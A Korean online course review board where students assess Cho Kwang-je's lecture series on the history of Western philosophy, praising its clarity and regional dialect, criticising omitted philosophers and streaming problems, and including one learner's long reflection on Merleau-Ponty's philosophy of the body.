수직으로 선 두툼한 시간은 결국은 주관적 시간을 말하는 것 같은데 그것은 일단 차치하고서라도 물리적 시간은 어디서 출발하는 것일까요. 저의 짧은 생각으로는 운동의 지속이 아닌가 하는 느낌입니다. 그렇다면 이 우주에서 운동을 하는 질량을 모두 제거한다면 과연 물리적 시간은 존재할까요. 아니면 온 우주가 -273도의 절대온도에 도달하면 과연 물리적인 시간이 흐른다고 할 수 있을까요.
아무튼 유익한 강좌였고, 앞으로 더욱 생각을 해볼 여지가 많은 분야라고 생각합니다. 감사합니다.
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유익했습니다. 다만... |
엄*호 |
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전체적으로, 어려운 내용을 쉽고 재미있게 강의해주셔서 많이 유익했습니다. 다만, 현대 철학에 올수록 현상학을 제외하고는 밀도가 떨어져 아쉬웠습니다. 그리고 현상학에서 메를로퐁티의 경우, 조선생님의 주전공이라서 오히려 많은 부담을 가져서인지 오히려 좀 산만한 느낌을 받았습니다. 너무 잘 아는 분야라서 오히려 짧은 시간에 요약해서 정리하기가 어려워서 그러 것이라고 이해하겠습니다. 소쉬르, 라캉 등 구조주의 계통 철학자의 경우엔 핵심을 놓치는 부분이 더러 보였습니다. 이것도 시간의 문제라고 이해하겠습니다. 어려운 여건 속에서 철학의 대중화를 위해 헌신하시는 조선생님의 노력에 존경과 갈채를 보냅니다.
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핵심을 찌르는... |
전*희 |
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명료한 강의 좋았습니다... 어려운 철학책만으로는 이해가 안되는 것들이.. 쉽게 이해할 수 있었습니다... 개념에 대한 예를 우리가 쉽게 접할 수 있는 것들로들어 설명을 해주셔서... 쉽게 이해할 수 있었던 것 같습니다.. |
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이제야 제가 얼마나 모르고 있는지 알겠습니다. |
조*구 |
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철학아카데미에 대해서는 몇년 전에 우연히 알게되었습니다. 사는 곳이 지방이라 오프강좌를 듣기가 불가능하여 테잎이라도 들어볼까했는데 변명같지만 시간도 안되고 돈도 안되서 그만 포기 해 버렸습니다.
예전부터 철학에 대해 체계적인 공부를 하고 싶었는데 주변여건이 허락되지 않아 아쉬웠습니다. 요번에 온라인강좌를 통해 서양철학의 전체적인 윤곽을 잡게되어 고맙게 생각합니다.
강좌를 듣다보니 제가 알고 있는 개념이나 이론들이 아주 고대로까지 소급이되고, 제가 알고 있던 것들중에 잘못알고 있었던 것들이 있었습니다.
조광제선생님도 강좌를 통해 많은걸 알려주실려고 노력했겠지만 여건이 되시질 않아 안타까워하시는 모습을 보니 강의조차도 잘 이해 못하는 저로썬 많은걸 모르고 있구나 하는 생각을 해보았습니다.
나머지 미진한 부분은 '언제나처럼' 배우는 학생의 몫이겠지요. 강의 잘들었습니다. |
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본전 뽑은 강의 |
김*서 |
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간간히 나오는 교수님의 정치적인 코멘트는 그다지 동의하지는 않지만, 자신이 후설 강의 하면서 이것만 들어도 본전을 뽑는다고 했는데 허언은 아닌 것 같다. 숭문이 정신이라면 상무는 몸이라 할 수 있다.
“정신은 몸의 변형이다”. 그러나 신비한 것은 어떻게 길이를 갖고 있는 공간에 길이가 없는 정신이 깃들일 (체화된) 수 있는가 하는 점이다. 이 자체가 초월적인 현상은 아닌지.
메를로-퐁티는 초월적인 것을 배제한다고 한다. 결국 내재적 삶을 추구한다고 하더라도 예컨대 부어라 마셔라의 도취적 삶만으로 의미를 찾을 수 없다면 초월적인 것에 추구가 한 인간의 삶으로서 자유로운 선택이 불합리적인 것만 일 수는 없지 아니한가. 인간에게 있어서 가장 정직한 철학적 사유는 불가지론이라고 생각한다. 결국은 남는 것은 선택의 문제이고, 그 선택이 남에게 부담이 되지 않는다면 상관없는 것이다라고 생각한다. 초월적인 것을 따르지 않는 것은 그것이 진리가 아니기 때문이기보다는 90프로 이상이 나의 이기적 마음이 그것을 따를려 하니 불편하기 때문이라고 생각한다.
의미란 무엇인가. 천국이 있다면 천국의 의미를 지금 이 시공간의 잣대로 잴 수가 있을까.
몸은 과연 정신의 하수인인가.
몸틀이 강조되는 이유를 조금은 이해가 안된다. 몸틀이란 별개 아닌 것이다. 몸과 신경회로가 연결되어 나타나는 것이고, 단지 숙달에 의해 그 신경회로가 지름길을 알고 있다는 것뿐이다. 그것이 내가 몸이라는데 어떤 기여를 하는지.....
위족(僞足) ‘테오리’가 과연 정당한가. 몸만 있다가 상황에 따라 정신이란 위족이 나타나처리하고 없어지나, 단지 상황이 끊임없이 전개되니까 정신이 끊임없이 존재하는 것으로 보인다고 한다. 오히려 그보다는 비록 몸에서 파생된 의식이라 하지만, 결국은 후설의 지향성처럼 몸과 정신이 서로 뗄레야 뗄 수 없을 정도로 꽉 맞물려 있는 것은 아닐까.
정신이 근본적인 것이 아니라고 한다. 세계 속에 있는 것은 몸이라는 것이다. 정신은 세계 속으로 들어와 살지 않다는 것이다. 그말이 과연 타당한가. 정신도 이 시공간에 있는 것은 분명하다. 단지 길이가 없으니 만질 수 없을 뿐이다.
영혼+육체의 2분법이 생겨난 것이 잘못이라는 것이다. 왜냐하면 영혼 혹은 정신은 몸이 변형이다.
몸철학은 몸을 인간의 근본으로 보는 것이다. 왜냐하면 몸이 이 세계 속에 있다는 것이다.
몸은 감각덩어리다. 달리 말해서 살이다. 의식이 있기 전에 감각이 따로 있다. 그러나 감각은 의식 속에 내포된 것은 아닌가. 감각자체가 의식의 한 현상이고 그것을 반성하는 것도 의식이 아닌가. 사진 필름은 사물을 감각하여 상을 만들었지만, 감각한 그대로 있으면 그것은 아무것도 아닌 것이다. 감각된 것을 가지고 상황을 판단하는 의식이 필요한 것이다. 살에서 느껴지는 감각은 살이 느끼는 것이 아니라 중추신경계로 감각이 들어가서 정보처리가 되어 다시 밑으로 내려와 살이 자기가 느끼는 것처럼 되는 것이다.
수정란이 가장 기본적이고 초기의 몸이라면, 이때는 의식은 없다. 따라서 의식도 몸의 파생이라고 보는 것도 타당한 이야기 같다.
느낀다와 사유한다는것을 2분법적으로 나누는데 이 둘 다가 의식의 양면이 아닌가. 의식에는 분명히 이성과 감성이 있는 것이다. 감성은 의식이 아니다라고 떼에 내는 것은 문제가 있는 것은 아닌가. 예컨대 오르가즘시 맥박이 올라가고, 숨이 거칠어지고 의식이 몽롱해지고, 땀이 나는 것은 내 몸이 그렇게 분명히 느끼지만, 그러나 몸의 말단에서 이루어지는 감각이 신경회로를 통해 올라가서 결국은 의식이 그렇게 느끼고 각 신체의 부분에 그런 동작을 일으키게 만드는 것이다. 의식은 따로 있고, 몸이 따로 오르가즘을 느끼는 아니라고 생각한다.
흥미있는 분야다. 메를로-퐁티가 1961년에 고인이 되었으니 그동안 해부생리학의 발전이 엄청났으리라 본다. 메를로-퐁티의 몸철학은 단순히 사유로 그렇겠다고 해서 성립하는 것이 아니라 철저한 해부생리학적인 기초가 있어야 할 것 같다. 말하자면 해부생리학적인 기본 사항들로 이 이론이 검증을 받아야 할 것 같은 인상이다.
몸은 무엇인가. 몸은 수정란에서 시작하여 개체가 양적 성장을 한 것이다. 한 그루의 나무가 씨에서 시작하여 양적 성장을 한 것과 다를 것이 없다. 그런 양적 성장을 하기 위해서는 결국 자연에 있는 모든 물질을 섭취한 것이다. 이것은 어디서 갑자기 생긴 것도 아니고 자연에서 물질이 이동한 것에 지나지 않는다. 단지 여기에 의식이 생겨서 인간의 정신활동이 발휘되어 자기실현을 이루는 것이다.
**우연히 알게된 강좌인데 사실은 메를로-퐁티를 듣고 싶어서 신청했습니다. 몸을 전공한 사람으로 몸철학에 관심이 있었습니다. 위의 글은 느낀대로 두서 |
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다시봐도... |
김*훈 |
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다시봐도 좋은데요? 철학과로 편입한 학생입니다. 편입전에 한번 보고 한학기 지난고 두번째 보는건데, 정말 도움이 많이 되고 있습니다. 사실 학기중에는 뭐가 뭔지 몰라 많이 헤멨는데, 덕분에 그때 공부했던게 이 강의를 통해서 많이 정리가 되고 있습니다.ㅋ^^ |
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음,글쎄요 |
박*준 |
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저는 생각보다는 별로였는데요. 솔직하게 말하자면. 역설적으로 또 말해보면 아주 합목적적인듯한 느낌이여서 조금 별로였습니다. 원고를 읽는 경우가 많았는데, 마치 책을 내기 위한 원고수정과도 같은 느낌도 조금 받았습니다. 그럼에도 불구하고, 많은 것을 배울 수 있었던 사실은 부인할 수 없을 겁니다. |
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좋은강의 |
황*택 |
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추천해요 정말로 . 선행적 지식이 별로 없었는데 그래도 얻은게 많은거 같아요.
항상 맘 속으로 응원하고 있습니다..^^ 항상 맘 속으로 응원하고 있습니다..^^ 항상 맘 속으로 응원하고 있습니다..^^ 항상 맘 속으로 응원하고 있습니다..^^ |
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재밌네요 |
오*진 |
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조광제 선생님의 입담이 참 강의를 재밌게 풀고 나갑니다. 철학에 대한 전반적인 흐름을 알게 되었네요. 어렵게만 생각했던 철학에 대해 재미를 느낄 수 있게되어 좋네요. 많은 강의들이 올라왔으면 좋겠습니다. |
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결코 따분하지 않은 강의 |
박*범 |
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철학이란 따분하다고 느끼는 분들이 듣는다면 좋을 듯합니다. 철학자 같지 않은 소탈함이 있어 좋은 강의가 조광재 선생님의 강의 같습니다. 특히, 경상 방언에서 나오는 철학 언어의 미묘함이 재미 있네요. 무엇인가? --->>>> 뭐꼬?
본 강의의 도움을 얻어 유명한 저서인 <서양철학사>(램프레이트)를 한권 읽는 것도 큰 도움이 될 것 같습니다. 아주 쉽고 명쾌한 강의입니다. |
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처음듣는 철학사 강의 |
김*영 |
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철학 전공자가 아니라 철학에 대한 책만 읽다고 처음으로 강의를 듣는 것이 저에게는 매우 신선한 경험이었습니다. 더군다나 고대, 중세, 근대 철학 전반을 쉽게 정리하여 주어서 전체 밑그림을 보여주어서 좋았구요. 다만 조광제 선생님이 강의 내용을 나름대로 정리해서 쉽게 설명하기 보다는 교재를 읽는 위주의 강의이다 보니 조금은 지루한 감이 없지 않았습니다. 더군다나 칸트의 인식론에 대하여 집중적으로 들었습니다만 내용이 조금은 아쉬웠습니다. |
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매우 좋은데 아쉽네요. |
최*희 |
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언제나 처럼 조광제 선생님의 강의는 핵심을 집어 주시고 그 핵심을 쉽게 설명 해주십니다. 특히 훗설과 메를리 퐁티의 현상학에 대한 설명이 좋았습니다. 다만 너무나 아쉬운 점은 라캉이 조금 언급되었고 들뢰즈는 아예 삭제 되어버렸다는 점입니다. 언제 시간이 되신다면 몸과 욕망에 관해 강의를 해주시면 좋겠습니다. |
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강의가 좋아요~ |
김*세 |
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서양 철학사를 공부하기 위해 여러 자료를 모으고 책을 보고 개인적으로 공부를 했는데 이 강의를 우연히 찾게 되고, 맛보기 동영상을 보고 강의 신청하여 지금 현재 듣고 있는 중인데 역시 신청하기를 잘 했다고 생각합니다. 이해하기 쉽도록 강의 해 주셔서 잘 보고 있습니다. ^^ |
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귀한 몸이시오니, 건강하세요~ *^^* |
박*화 |
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철학아카데미에서도 메를로 퐁티 강의 듣고 있고, 집에서는 이곳에서 서양철학사탐방을 듣고 있습니다. 들으면 들을수록 교수님의 강의가 팍팍 와 닿습니다. 감사합니다. 아직 입문자에 불과해서 철학 아카데미든 이곳에서든지 열심히 듣고자 합니다. 월요일(10/31) 철학아카데미에서요, 아프시면서도 끝까지 강의하셨던 모습에 정말 감사했습니다. 몸철학을 하시는만큼 교수님께서 아프시면 안 되잖아요~ 건강이 최고니까 건강하세요. 그래야 몸철학도 있지요.
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메를로 퐁티 강좌 정말 도뭄이 되었습니다. |
고*영 |
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메를로 퐁티 강좌를 듣고, <공각기동대 II- 이노센스>의 의미를 조금은 이해하게 되었습니다. 공각기동대 감독 오시이 마모루는 인터뷰에서 인간이 인간이기 위한 조건이 '기억'이 아니라 '몸'이라고 하거든요. 대중 영상작품들 속에서 철학적 사유의 흔적을 찾아내는 일은 나를 알지도 못하는 작가나 감독과 엄청 친해진 것 같아, 신이 납니다.
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아쉬움이 |
이*영 |
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한번 듣고 또 들어야 하는데..한번도 제데로 봤어요 마감 날짜를 잘못알아서 그만 담에는 오프라인으로 교수님 수업들어야겠요 ㅎㅎ 요즘에도 학교에서 강의하시나요 학교가서 물어봐야겠네요 강의 잘들었습니다. |
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강의를 듣고..... |
김*정 |
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서양철학사에 대한 나름대로 정립이 가능한 시간들 이었습니다. 어렵게만 느껴졌던 철학적 이론들이 쉽게 다가왔고 그로인해 새로이 사유하는 법도 알게 되었습니다. 철학에 대해 멀게만 느껴졌던 것들이 가까이 다가온 느낌.. 철학을 입문하시는 분들께 추천해 드리고 싶습니다. |
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정말 좋아요^^ |
김*훈 |
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내년에 철학과 편입을 준비하려는데 어떻게 해야 할지 모르겠더라구요... 그래서 친구중 철학과 대학원생이 있는데, 그친구에게 도움을 청했더니 이 사이트를 소개시켜 주더군요. 이제 2강을 막 끝냈는데, 정말 너무 재미있어요. 이해도 잘되구요... 앞으로 열심히 하겠습니다. ^^
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좋은 강의였어요!! |
김*기 |
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비록 현장에서 생생하게 느끼며 호흡할 수는 없었지만 영상을 통해서라도 '조광제'선생의 강의를 들을 수 있어서 좋았습니다. 서양철학의 전반적인 흐름을 친절하고 알기쉽게 설명해 주셔서 많은 도움이 되었습니다. 앞으로도 조광제 선생의 강의를 기대합니다.
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좋아요^^ |
정*비 |
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우선, 선생님의 사투리에 깜짝 놀랐어요. 표준어 강의에 익숙해있다가 개성강한 어투의 강의에 신선했어요. 8월달에 문화예술아카데미에서 보내주시는 메일을 보고 강의를 신청하게 되었어요. 제가 궁금해하던 비트겐슈타인과 니체에 관한 조광제 선생님의 짤막한 글이 배달되어서 기뻤답니다.
철학개론 여러번 읽어도 이해안되던 개념들, 마음에 잘 와닿지 않던 자연철학.. 이제 잘 느끼고 갑니다 : ) |
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메를로퐁티 |
김*섭 |
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메를로-퐁티의 저작 중 가장 유명한 것은 『지각의 현상학』이다. 『지각의 현상학』은 우리나라에서 2003년에 처음으로 출판사 <문학과지성사>에서 번역 출간하였다. 그리고 이 책에 대한 본격적인 해설서가 조광제에 의해 2004년 초에 출판사 <이학사>에서 『몸의 세계, 세계의 몸』이라는 제목으로 출간되었다. 메를로-퐁티의 사상은 현상학과 구조주의를 잇는 역할을 하는 것으로 평가되기도 하면서 예술 쪽에 특히 영향을 많이 미쳤다. 그 중에서도 후기 아방가르드의 선구라 할 수 있는 미니멀리즘(minimalism)에 영향을 많이 미쳤다. |
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쏙쏙 들어오는 강의.. 감사합니다 |
강*옥 |
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이해되지 않았던 그리고 잘 정리되지 않았던 부분들이 쏙쏙 머리에 들어오는 강의 잘 들었습니다. 전체 강의를 신청하고 지금 제일 먼저 듣고 싶은 두 챕터를 들었는데.. 내일은 더 많이 수강을 할 생각입니다. 참으로 수강 신청을 잘했다는 생각 또한 해봅니다. 이번 전체 수강을 다하고 나면 철학에 대해서 좀 더 심도 있게 공부를 해야겠다는 생각을 하며 행복한 마음으로 하루를 마감해봅니다. ^*^
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정말 알기쉬운 강의 |
정*훈 |
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철학 개론서를 몇몇 읽어보았으나 전반적인 핵심과 맥락이 이해되지 않는 터였는데 본 강의는 그런 면에서 정말 명쾌한 개념을 잡아주는 강의입니다. 철학의 기초를 닦으려는 분에게는 훌륭한 강의라 생각합니다. 특히, 개인적으로 칸트와 현상학 분야의 설명이 기억에 남고, 헤겔에 대한 설명을 들으며 많은 이해를 하게 되었습니다. 가끔 동영상 상태가 좋지 않아 청강에 애로가 있었으나 최근에는 원할히 접속되는것 같네요. |
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강의 잘 들었습니다. |
강*영 |
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강의 잘 들었습니다. 철학강의를 어렵게 생각하면서 듣기보다 좀 편하게 들으려고 해서 그런지 몰라도 좀 가볍게 들은 감이 없지않나 생각됩니다. 방대한 양의 서양철학을 간략하고 듣기 편하게 정리해주셔서 좋았지만 너무 쉽게 그리고 간단히 넘어온 것 같아서 아쉬운 생각이듭니다. 비록 간략하게 설명되어 있지만 다시한번 철학이라는 학문에 높은 벽을 실감하긴 합니다. 책을 사서 읽어봐야 할듯 하네요.
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아, 이건 이래서 이런 거구나... |
김*경 |
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조광제 선생님의 서양 철학사 탐방 강의를 쉬엄쉬엄(?) 듣고 있습니다. 철학은 역시나 어렵구나 하는 것을 다시 한 번 절실하게 느낄 수 있었습니다. 그렇지만 선생님의 강의를 조금씩 조금씩 따라가노라면 어느 순간에는 아, 이건 이래서 이런 거구나... 하는 것도 어렴풋이나마 느낄 수 있답니다. 워낙에 강의 내용이 방대해서 일까요? 물론 처음 시작할 때는 그저 막막하겠지만요. 중도에서 포기하지 않고 강의를 꾸준히 챙겨서 듣노라면 나름대로 얻는 것도 많을 것입니다. 지금 이렇게 날씨 무더운 여름날에 어렵디 어렵다고 하는 철학 강좌를 애써 붙잡고 있지만... 나중에는 아주 힘들었고 아주 흐뭇했던 여름날의 추억이 되지 않을까 싶군요. 아무튼 어느 순간에는 철학이 좀더 쉬운 모습으로 저한테 성큼 다가왔으면 좋겠네요. |
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천천히 말하는 법 |
정*비 |
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학교에서, 학원에서, 많은 강의들이 지식을 내뱉으며 빠르게 진행됩니다. 이정우 선생님의 강의는 천천히 진행됩니다. 서두르지 않고, 눈을 깜빡이며 말씀하시는 선생님의 모습이 좋았습니다. 지식을 '생산하는' 강의를 듣게 되어서 좋았습니다. '생각하면서' 들을 수 있는 좋은 강의였습니다. 시간과 사건, 관계, 주체와 개체 등의 개념들은 수없이 사용하면서도 잘 알지 못하던 것들이었습니다. 이번 강의를 통해 소가 되새김질하듯, 새로운 맛을 음미하면서 개념들을 소화하게 되었습니다.
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좋았습니다. |
김*규 |
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대학원을 들어가기 전에 기초를 튼튼히 하고 싶어서 선생님의 강의를 들었습니다. 명쾌하고 솔직 담백한 설명이 기억에 남습니다. 선생님의 재치와 익살 또한 타의 추종을 불허하는 것이었습니다. 쉬운 설명이 정말 인상적이었어요. 특별히 현상학 분야 강의는 정말 도움이 많이 됐습니다. 하지만 강의계획에 있었던 몇몇 철학자들이 빠져서 조금 아쉬웠습니다. 암튼 강의 좋았어요. 계속 좋은 것들 많이 들려주세요. |
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강의 후기 |
박*홍 |
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첨에는 조광제 선생님의 사투리에 깜짝 놀랐으나 이내 정겹게 느껴져 더욱 더 친근하게 다가온 강의입니다
강의 특성상 각 철학자의 일반적인 원론 수준의 강의밖에 들을수 없었지만 철학을 공부하기에 앞서 철학자들에 대한 기본적 배경지식을 쌓기에 좋은 강의 였습니다
다만 몇몇 철학자들이 누락되어 아쉬웠고 또한 니체나 들뢰즈같이 최근에 각광받고 있는 철학자들에 대한 강의가 전체적으로 다른 철학자들에 비해 부족하지 않았나 하는 생각입니다
확실히 현상학강의는 조광제 선생님 강의에 있어서 백미였다고 생각합니다 무더위에 건강 잃지 마시고 앞으로도 좋은 강의 부탁드리겠습니다 ^^ |
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고맙습니다. |
손*진 |
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안녕하세요. 요 근래에 철학에 대해 접하면서 특히 근대 이후의 철학가들 위주로 많이 보게 되었습니다. 그런데 이 강의는 고대철학에서부터 시작해 주시니 많이 도움이 되는 것 같습니다. 혼자 책부터 보자면 너무 지루해서 몇 페이지를 넘기지 못했었거든요. 하지만 시간의 제약으로 근대 철학가들에 대한 강의를 더 구체적으로 듣고 싶었었는데 아쉬웠어요. 아직 이해 안되는 부분도 많아 책을 접한 후에 다시 한번 들을 계획이예요. 강의 감사드립니다. |
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들으며 졸며 아아 알아진 강의~~ |
김*희 |
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대학 1년때 사두었던 러셀의 철학사를 작년에 한번 읽었는데, 도통 고대 철학자들의 만물의 근원을 두고 고민하던 것들이 도통 이해가 가지 않았다. 그리고 만물의 근원이 물,공기,흙,불이라는 것들이 어렵게만 느껴져서 그냥 넘어갔다. 이해가 안되어도 어쨌든 1강에서 16강까지 전체를 한번 틈틈히 듣다 보니 두달반이 지나 삼개월이 결코 긴 시간이 아니었음을 확인하는 순간이었다. 현대의 철학에서는 이것저것 짜깁기로 주워들은 풍월이 있어서 대충 이해가 갔는데 고대 철학자들은 도무지,,, 그러다 3개월이 다 되어가던 날 한번 더 듣는데, 뭔지는 모르겠지만 대충 알듯한 이 느낌으로 그래, 뭔가 감이 왔다. 사실 다른 강의도 한번 들어가지고는 소화했다 할 수 없지만, 더 이상 욕심 안 부리고 다음 기회 더 듣기로 했다. 강의를 듣는것이 결코 쉬운 내용이 아니기에 집중해서 들으세요. 특히 초보들은. 그러면 많은 도움이 될것임다. 그런데 강사님의 그 사투리만 아니었음 정말로 좋았을 텐데....사투리가 듣기를 방해하더라구요. ^_^ 좋은 강의였습니다. |
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다들은건 아니지만 좋은 강의 였습니다. |
장*호 |
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너무단순화하는 대목도 없진 않았습니다. 기본 강의라 그렇겠군요... |
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간략하고 절도있게 |
한*옥 |
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긴 이야기를 간략하게 끊어야 할때 는 절도있게. 영미철학 부분은 많이 아쉬움 |
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하고 싶었던 공부.. |
고* |
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철학에 대한 순수한 지적 호기심으로 공부할 수 있었던 기회였습니다. 이제부터 삶을 조금은 진지하고 진중하게 볼수 있을거 같습니다. 이정우 교수님의 강의도 기대가 됩니다. 아무튼 잘 들었습니다. 앞으로 계속 알찬 강의 부탁드립니다. |
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이런 강의를 들을수 있어서 행복했습니다. |
신*화 |
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앞에서 썼는데요. 저는 정말 좋았습니다. 들을때는 다 안것 같았는데 말할려니 아무말도 못하겠더군요, 이제 책들 찾아서 많이 읽어봐야 겠습니다. 다음번에는 어떤 강의가 좋을지? |
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정말 좋았습니다. |
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사십이 다 되어가는 나이에 철학공부를 시작했는데 너무 재미있고 행복했습니다. 조광제 선생님 길거리에서 만나면 꾸뻑 반갑게 인사할것 같습니다. 너무 가깝게 느껴져서요.. 그치만 여기는 서울이 아닌고로 선생님 만날일은 없을것 같군요. 정말 감사합니다. |
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친절하고도 자세한 설명.. |
배*형 |
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밑에 글 썼는데 로그인이 안 된 상태였나 봅니다...^^ |
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친절하고도 자세한 설명... |
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아직 강의를 다 듣지는 않았지만, 철학의 문외한인 저한테는 너무너무 만족스러울 정도로 친절하신 것 같습니다... 이런 강의를 듣을 수 있다니 너무 행복합니다. 감사합니다. |
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잘 들었습니다 |
이*빈 |
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강의 내용은 유익했고 재미있었습니다 후반부분에 일정에 쫓겨 강의를 좀 건너뛴건 좀 아쉽더군요
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가깝게 다가온 철학자들 |
최*미 |
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다양한 철학자들의 핵심 사상을 쉽고 명쾌하게 잘 배웠습니다. 보다 깊이있는 내용은 스스로의 몫이겠지요. 어렵게만 생각되었던 철학이 내 삶과 생활에 더 가깝게 다가왔습니다. 선생님께 깊이 감사드리고요. 혹시, 선생님이 전공으로 하신 "몸철학" 강좌를 새롭게 개설할 수는 없는지요? 짧게 접했지만, 매우 끌리네요. |
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좀 힘듭니다 |
한*수 |
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저는 아주 문외한이라서 그런지 철학의 전체적인 흐름이라도 이해해볼까하고 덤볐는데 어렵군요...
더 어렵게하는건 강의를 오프라인 중심이 아니라 온라인 중심으로 한 강의라서 그런지 칠판에 교수님이 무언가 쓰실때 글씨도 가려서 보이지 않고 그렇다고 화면옆의 강의노트가 잘 정리되어있는거 같지도 않고해서 그때 그때 속도에 맞춰 따라가기가 힘드네요.
보충자료를 충분히 제공해주시면 훨씬 나아지리라 생각됩니다.
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시간이 더 많았으면... |
임*와 |
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많은 내용을 짧은 시간에 강의하려니 아쉬움이 있네요. 어려운 내용을 짧게 훑고 지나가니 깊이 이해하기가 쉽지 않습니다. 입문강좌의 한계이기도 하겠지요. 아직 철학강의가 풍부하게 개설되어 있지 않으니 아쉬울 따름입니다. 언제 다른 강의들이 업데이트 되는지요. 이제나 저제나 괜찮은 강의들이 올라올까 목빠지게 기다리고 있습니다.
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감사합니다.. 글고 부탁드려요~~ |
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고향에 내려와 보니까 뜻밖에 이벤트에 당첨이 되었더군요. 태어나서 첨있는 일이었습니다..ㅎㅎ 그런데 불행히도 컴터가 자꾸 말썽을 일으키고, 이런저런 자질구레한 일들이 생기는 통에 한달 동안 열여섯개의 강좌를 듣는 것도 빠듯했답니다. 것두 공공도서관에선 전송속도를 따라가질 못하는 통에 답답한 마음 참아가며 그럭저럭 소리만 들었던 게 참 많구요..ㅜㅜ 한번의 귀동냥으로 너무 욕심내지 말라는 계시라고 생각해보기도 합니다.
강의를 평가한다는 것은 주제넘는 일인거 같고 몇가지 부탁말씀만 드리고 싶습니다. 첫째, 부분적으로만 첨부되어 있는 강의록을 모든 강의에 첨부해주셨으면 좋겠습니다. 둘째, 시간적 제약으로 인해 커버하기 어려운 부분들에 대한 보완책이 마련되었으면 합니다. 이는 교재 등을 참고로 하여 강의록에 철학사 이해에 도움이 되는 사적 내용을 요약적으로 제시한다든지 관련 사이트를 링크하는 것, 수강생들의 게시판을 활성화하여 자료를 공유케 하는 것 등 다양한 방식을 모색할 수 있으리라 생각합니다. 셋째, 강좌 범위 설정의 문제입니다. 강좌 중에 조광제 선생님께서 말씀하셨듯이, 이 강좌에는 부득이하게 영국경험론과 들뢰즈 등이 생략되었는데요. 강좌의 목적이 개별 철학자들에 대한 소개가 아니라 서양철학사 전반에 대한 개괄적 이해에 있는 만큼 경험론적 전통과 합리론적 전통을 균형있게 다루는 시각을 키울 필요도 있지 않았을까 싶어요. 넷째, 일년이 지난 강좌를 방영하는 것이라 기획단계부터 개입하기가 어려우시다면, 강좌에서 다루지 못한 내용들을 보완할 수 있는 강좌를 개설할 필요가 있다고 생각합니다. 경험론, 실용주의, 실존주의, 해체주의 등 해당 분야를 전공하신 분들의 강의를 연계강좌로 설정하면 보다 체계적이고 깊이있는 공부가 가능할 거 같습니다. 다섯째, 수강생들의 관심영역에 대한 조사가 선행되었으면 좋겠습니다. 정치철학, 윤리학뿐만 아니라 교육철학, 심리철학 등 전공분야가 다르면 접하기 어려운 영역들, 혹은 교과서적인 강의 이상을 접하기 어려운 영역들에 대한 보다 참신한 접근법을 만났으면 합니다. 참고로 많은 사범대생들의 경우를 예로 들면, 철학도 노량진에서 해결합니다. 임용고시 몇 문제 맞추는 걸로 할 일 다하는 가짜 철학을 극복하는 과제를 철학아카데미부터 시작하기를 간절히 소망합니다.
꽁짜 강의 듣고 말이 좀 많았지요?ㅋ 죄송합니당~^^;; 암턴 끝까지 읽어주셔서 감사하고요.. 어설프게 강의 들은 분들은 저랑 담에 재수강해요.~~-_-
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이보다 더 쉬운 철학은 없다! |
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오늘로써 조광제 선생님의 서양철학사 탐방을 마쳤습니다. 1강부터 16강까지 온 열정을 다 바쳐서 강의 하는 모습에 매료되었습니다. 그래서 끝까지 공부할수 있었던것 같습니다. 처음 철학을 공부해야겠다는 분들에게는 이보다 더한 강의가 없다고 적극 추천해드리고 싶습니다. 물론, 짧은 시간안에 심오한 부분까지는 들어갈수 없다는것은 감안해야할것 같습니다. 하지만, 각각의 시대에 꼭 알아야할 부분들은 놓치지 않고 있습니다. 또한 선생님의 적절한 "예(例)'들은 강의를 쉽고 재밌게 해줍니다.~
그동안 감사드립니다.^^
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존경합니다 |
정*주 |
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올해 초부터 선생님의 강의를 듣고 있습니다. 나태한 삶을 바꾸게 된 계기가 되었습니다. 건강하시고 앞으로도 좋은 강의 부탁드립니다. |
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저도 잘 안나오네요 --+ |
박*희 |
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저도 화면과 음성이 자꾸 끊어지는데, 보기 힘들어요. 아직 들어야할 챕터가 많이 남았는뎅... 날씨가 더워 강의 듣기가 더 힘드네요. 이거 어떻게 해야하는 건가요>?
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아래 님... 잘 나오는데요...? |
테*트 |
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저도 수강생인데요, 소리나 영상이 잘 맞고 잘 나오거든요? :) 제가 알기로는 여기서 서비스하는건 일률적이고, 그게 잘 나오느냐 안나오느냐는 개인 pc의 문제라고 알고 있어요 저도 가끔씩 끊기는경우가 있긴한데 업데이트 자주 해주고 임시파일 지워주면 다시 잘 나와요.. 한번 이것저것 시도해보시라고 말씀드립니다 답답하실 것 같아서.. 아니면 회사에 문의해보셔요. :) |
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너무너무 불편합니다. T.T |
최*림 |
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화면과 선생님의 대화가 일치하지 않군요... 저 검퓨터는 확인하고 또 확인했지만 다운로드를 하는데에 있어서 화면이 느리게 나옵니다... |
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98 |
내용이 참 좋습니다. |
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여기서 가장 잘 나가는 강의 중 하나라고 해서 기대를 갖고 봤어요... 철학사에 대한 기초 지식도 필요하고.... 내용은 참 괜찮더군요. 조광제 교수님의 은근한 사투리 억양도 친근하고.... 좀 아쉬운게 있다면.. 강의실 소음이 같이 들리는 거예요. 그렇다고 강의를 듣기 어려울만큼 심한건 아니고... 약간 거슬리는정도? 그게 좀 아쉽더군요. 내용은 단연 좋았습니다. 추천하고 싶네요. |
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